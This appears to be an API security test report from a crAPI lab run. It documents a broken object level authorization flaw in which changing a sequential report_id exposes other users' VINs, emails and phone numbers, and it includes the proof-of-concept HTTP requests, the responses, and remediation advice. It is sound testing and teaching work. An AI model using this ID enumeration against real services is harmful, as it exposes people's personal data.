Test case 03 / 19FAIL

Broken Object Level Authorization - Workshop - Mechanic Report

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

crAPI/Evidence/[FAIL] Broken Object Level Authorization - Workshop - Mechanic Report

01 — Notes

Test notes

Vulnerability

[FAIL] Broken Object Level Authorization - Workshop - Mechanic Report

Description

The mechanic_report endpoint accepts a sequential report_id and returns service reports belonging to other users (VIN and owner email) without verifying any relationship to the caller.

Impact

Confidentiality: cross-user disclosure of VIN, vehicle details, and owner email for every service report.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

API1:2023 - Broken Object Level Authorization (and API3:2023 - BOPLA)

Scenario

Normal: read report_id=1. Exploitation: enumerate report_id (e.g. =2) -> discloses a different VIN and owner email -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

Affected feature

Mechanic Service Report (crapi-workshop)

Remediation

- Verify that report_id belongs to the calling user/mechanic. - Use UUIDs and minimize the fields returned.

Proof of concept

1) (Screenshot 1) NORMAL: GET mechanic_report?report_id=1 with the attacker token -> 200 (reference). 2) (Screenshot 2) EXPLOITATION + CIA: change the parameter to report_id=2 -> 200 discloses another owner's VIN and email ([REDACTED-EMAIL]).
View source note (English)
Vulnerability: [FAIL] Broken Object Level Authorization - Workshop - Mechanic Report

Description:
The mechanic_report endpoint accepts a sequential report_id and returns service reports belonging to other users (VIN and owner email) without verifying any relationship to the caller.

Impact:
Confidentiality: cross-user disclosure of VIN, vehicle details, and owner email for every service report.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
API1:2023 - Broken Object Level Authorization (and API3:2023 - BOPLA)

Scenario:
Normal: read report_id=1. Exploitation: enumerate report_id (e.g. =2) -> discloses a different VIN and owner email -> CIA (Confidentiality).

Endpoint:
GET http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

Affected Feature:
Mechanic Service Report (crapi-workshop)

Remediation:
- Verify that report_id belongs to the calling user/mechanic.
- Use UUIDs and minimize the fields returned.

POC:
1) (Screenshot 1) NORMAL: GET mechanic_report?report_id=1 with the attacker token -> 200 (reference).
2) (Screenshot 2) EXPLOITATION + CIA: change the parameter to report_id=2 -> 200 discloses another owner's VIN and email ([REDACTED-EMAIL]).

02 — Screenshots

Screenshots (2)

01 / Normal: report_id=1 (reference)

Normal flow: read the service report at report_id=1 as a reference.

02 / Impact: another user's report_id=2

Impact: incrementing the sequential report_id exposes another vehicle owner's service report, including their VIN and email [REDACTED-EMAIL]. This compromises the confidentiality of another user's data.

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1Normal: report_id=1 (reference)
HTTP request
GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

{
  "id": 1,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 3,
    "vin": "0NKPZ09IHOP508673",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570001"
    }
  },
  "problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a call on my mobile 9876570001,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nRobot.\n",
  "status": "pending",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

Normal flow: read the service report at report_id=1 as a reference.

CAPTURE 02 / 2Impact: another user's report_id=2
HTTP request
GET /workshop/api/mechanic/mechanic_report?report_id=2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 490

{
  "id": 2,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 2,
    "vin": "8VAUI03PRUQ686911",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570006"
    }
  },
  "problem_details": "My car MG Motor - Hector Plus is having issues.\nCan you give me a call on my mobile 9876570006,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nPogba.\n",
  "status": "inprogress",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

Impact: incrementing the sequential report_id exposes another vehicle owner's service report, including their VIN and email [REDACTED-EMAIL]. This compromises the confidentiality of another user's data.